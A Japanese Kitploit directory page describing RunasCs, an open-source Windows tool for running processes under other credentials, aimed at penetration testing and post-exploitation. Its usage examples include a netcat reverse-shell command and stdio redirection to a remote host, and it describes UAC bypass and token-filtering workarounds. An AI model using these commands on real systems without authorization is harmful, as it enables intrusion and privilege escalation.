Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
RunasCs — RunasCs - Csharp and open version of windows builtin runas.exe | Kitploit
ツール/GitHubGitHub/antoniococo/runascs
Privilege EscalationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs - Csharp and open version of windows builtin runas.exe

リポジトリを見る
1.4k1612年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

RunasCs


RunasCs は、明示的な資格情報を使用して、ユーザーの現在のログオンが提供するものとは異なる権限で特定のプロセスを実行するためのユーティリティです。 このツールは、Windows 標準の runas.exe を改良したオープンソース版であり、いくつかの制限を解決します:

  • 明示的な資格情報を指定可能
  • 対話プロセスとサービスプロセスの両方から起動可能
  • 新しいプロセスの作成にあたり、Window Stations と Desktop の DACL を適切に管理
  • 呼び出し元プロセスが必要な特権を保持している場合、より信頼性の高いプロセス作成関数である CreateProcessAsUser() と CreateProcessWithTokenW() を使用(自動検出)
  • ログオンタイプを指定可能(例: 8-NetworkCleartext ログオン。UAC による制限なし)
  • 管理者パスワードが判明している場合に UAC をバイパス可能(フラグ --bypass-uac)
  • メインスレッドが要求したユーザーを偽装したプロセスを作成可能(フラグ --remote-impersonation)
  • stdin、stdout、stderr をリモートホストへリダイレクト可能
  • オープンソースです :)

RunasCs は、あらゆるコンテキストに最適なプロセス作成関数を決定する自動検出機能を備えています。 プロセス呼び出し元トークンの権限に基づき、以下の優先順位でプロセス作成関数のいずれかを使用します:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

要件


.NET Framework 2.0 以上

使い方


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

呼び出し側と呼び出され側の2つのプロセスは、1つのパイプ(stdout と stderr の両方)を介して通信します。 デフォルトのログオンタイプは 2(Interactive)です。

デフォルトでは、Interactive (2) ログオンタイプは UAC によって制限され、これらの認証から生成されるトークンはフィルタリングされます。 次のレジストリキーを 0 に設定してサーバーを再起動すると、制限なしで対話ログオンを行うことができます:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

それ以外の場合は、--bypass-uac フラグを使用して、トークンのフィルタリング制限のバイパスを試みることができます。

NetworkCleartext (8) ログオンタイプは、ローカルトークンが UAC によるフィルタリングを受けず、認証パッケージに資格情報を保存するためネットワーク経由の認証も引き続き許可される、最も広い権限を持つログオンタイプです。 十分な特権を保持している場合は、常にこのログオンタイプを --logon-type 8 フラグで指定するようにしてください。

デフォルトでは、呼び出し元プロセス(RunasCs)は、生成されたプロセスの実行終了まで待機します。 バックグラウンドまたは非同期プロセス(例: リバースシェルの生成)を起動する必要がある場合は、パラメータ -t timeout を 0 に設定する必要があります。この場合、RunasCs は新しく生成されたプロセスの実行終了を待機しません。

参考


  • Potatoes and tokens
  • Starting an Interactive Client Process in C++
  • Creating a Child Process with Redirected Input and Output
  • Interactive Services
  • What is up with "The application failed to initialize properly (0xc0000142)" error?
  • Getting an Interactive Service Account Shell
  • Reading Your Way Around UAC (Part 1)
  • Reading Your Way Around UAC (Part 2)
  • Reading Your Way Around UAC (Part 3)
  • Vanara - A set of .NET libraries for Windows implementing PInvoke calls to many native Windows APIs with supporting wrappers

クレジット


  • @decoder
  • @qtc-de
  • @winlogon0
ツールをダウンロード